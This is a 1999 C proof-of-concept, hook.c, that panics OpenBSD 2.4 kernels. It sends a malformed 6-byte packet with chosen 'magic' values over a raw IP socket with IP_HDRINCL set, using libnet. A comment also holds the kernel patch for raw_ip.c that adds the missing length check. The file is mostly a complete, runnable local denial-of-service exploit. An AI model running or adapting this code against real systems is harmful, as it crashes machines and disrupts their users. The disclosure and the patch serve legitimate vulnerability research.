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/*
* $Id: hook.c,v 1.2 1999/10/27 01:37:28 route Exp $
*
* hook.c
* Panics OpenBSD 2.4 kernels.
*
* Well whut doya know? Here I am working on libnet when I come up with this.
* Localhost OpenBSD kernel panic. No security issue. Just a kernel bug.
*
* Opening a raw IP socket and setting IP_HDRINCL and then NOT including an
* IP header causes problems. The code below with the `magic` numbers will
* cause an immediate kernel panic. Other data may cause kernel
* instability leading to an eventual panic or crash.
*
* Needs libnet (http://www.packetfactory.net).
*
* (c) 1998 route|daemon9 <route@infonexus.com>
*/
/*
--- raw_ip.c.old Fri Dec 11 16:48:26 1998
+++ raw_ip.c Fri Dec 11 16:46:59 1998
@@ -200,11 +200,13 @@
* don't allow both user specified and setsockopt options,
* and don't allow packet length sizes that will crash
*/
- if ((ip->ip_hl != (sizeof (*ip) >> 2) && inp->inp_options) ||
- ip->ip_len > m->m_pkthdr.len) {
- m_freem(m);
- return (EINVAL);
- }
+ if ((ip->ip_hl != (sizeof (*ip) >> 2) && inp->inp_options)
+ || (ip->ip_len > m->m_pkthdr.len)
+ || (ip->ip_len < ip->ip_hl << 2)) {
+ m_freem(m);
+ return EINVAL;
+ }
+
if (ip->ip_id == 0)
ip->ip_id = htons(ip_id++);
/* XXX prevent ip_output from overwriting header fields */
*/
#include <libnet.h>
#define BUFSIZE 6
int
main(int argc, char **argv)
{
int sock;
u_char *buf, *p;
fprintf(stderr, "PUSH THE PANIC BUTTON!\n");
buf = (u_char *)malloc(BUFSIZE);
if (!buf)
{
perror("No memory for packet header");
exit(EXIT_FAILURE);
}
/*
* Open a IPPROTO_RAW socket and set IP_HDRINCL.
*/
sock = libnet_open_raw_sock(IPPROTO_RAW);
if (sock == -1)
{
perror("No socket");
exit(EXIT_FAILURE);
}
p = buf;
*((u_char *)p) = 8;
p += 1;
*((u_char *)p) = 0;
p += 2;
*((u_short *)p) = htons(242);
p += 2;
*((u_short *)p) = htons(1);
libnet_write_ip(sock, buf, BUFSIZE);
printf("Didn't die. Try again maybe.\n");
free(buf);
return (EXIT_SUCCESS);
}
/* EOF */
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